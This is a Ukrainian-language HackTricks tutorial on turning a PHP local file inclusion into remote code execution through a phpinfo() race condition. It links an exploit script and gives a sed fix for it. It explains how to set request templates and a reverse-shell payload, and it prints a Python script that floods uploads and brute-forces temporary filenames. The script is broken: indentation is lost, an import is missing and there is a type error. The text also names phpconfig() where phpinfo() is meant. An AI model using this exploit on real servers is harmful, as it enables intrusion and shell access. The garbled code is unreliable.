LFI2RCE via phpinfo()

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Для використання цієї вразливості вам потрібно: Вразливість LFI, сторінка, де відображається phpinfo(), "file_uploads = on" та сервер повинен мати можливість записувати в каталозі "/tmp".

https://www.insomniasec.com/downloads/publications/phpinfolfi.py

Посібник HTB: https://www.youtube.com/watch?v=rs4zEwONzzk&t=600s

Вам потрібно виправити експлойт (змінити => на =>). Для цього ви можете виконати:

sed -i 's/\[tmp_name\] \=>/\[tmp_name\] =\&gt/g' phpinfolfi.py

Вам потрібно також змінити пейлоуд в початку експлойту (наприклад, для php-rev-shell), REQ1 (це повинно вказувати на сторінку phpinfo та містити доповнення, тобто: REQ1="""POST /install.php?mode=phpinfo&a="""+padding+""" HTTP/1.1), та LFIREQ (це повинно вказувати на вразливість LFI, тобто: LFIREQ="""GET /info?page=%s%%00 HTTP/1.1\r -- Перевірте подвійний символ "%" при експлуатації нульового символу)

Теорія

Якщо в PHP дозволено завантаження файлів і ви намагаєтеся завантажити файл, цей файл зберігається в тимчасовому каталозі до того часу, поки сервер завершить обробку запиту, після чого цей тимчасовий файл видаляється.

Тоді, якщо ви знайшли вразливість LFI на веб-сервері, ви можете спробувати вгадати ім'я створеного тимчасового файлу та експлуатувати RCE, отримуючи доступ до тимчасового файлу перед його видаленням.

У Windows файли зазвичай зберігаються в C:\Windows\temp\php

У Linux ім'я файлу зазвичай випадкове і розташоване в /tmp. Оскільки ім'я є випадковим, потрібно витягнути звідкись ім'я тимчасового файлу та отримати до нього доступ перед його видаленням. Це можна зробити, прочитавши значення змінної $_FILES вмісті функції "phpconfig()".

phpinfo()

PHP використовує буфер розміром 4096 байт і коли він заповнюється, він відправляється клієнту. Потім клієнт може надсилати багато великих запитів (використовуючи великі заголовки) завантажуючи php зворотний шелл, чекати на повернення першої частини phpinfo() (де є ім'я тимчасового файлу) та спробувати отримати доступ до тимчасового файлу перед тим, як сервер php видалить файл, експлуатуючи вразливість LFI.

Скрипт Python для спроби перебору імені (якщо довжина = 6)

import itertools
import requests
import sys

print('[+] Trying to win the race')
f = {'file': open('shell.php', 'rb')}
for _ in range(4096 * 4096):
requests.post('http://target.com/index.php?c=index.php', f)


print('[+] Bruteforcing the inclusion')
for fname in itertools.combinations(string.ascii_letters + string.digits, 6):
url = 'http://target.com/index.php?c=/tmp/php' + fname
r = requests.get(url)
if 'load average' in r.text:  # <?php echo system('uptime');
print('[+] We have got a shell: ' + url)
sys.exit(0)

print('[x] Something went wrong, please try again')
Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Last updated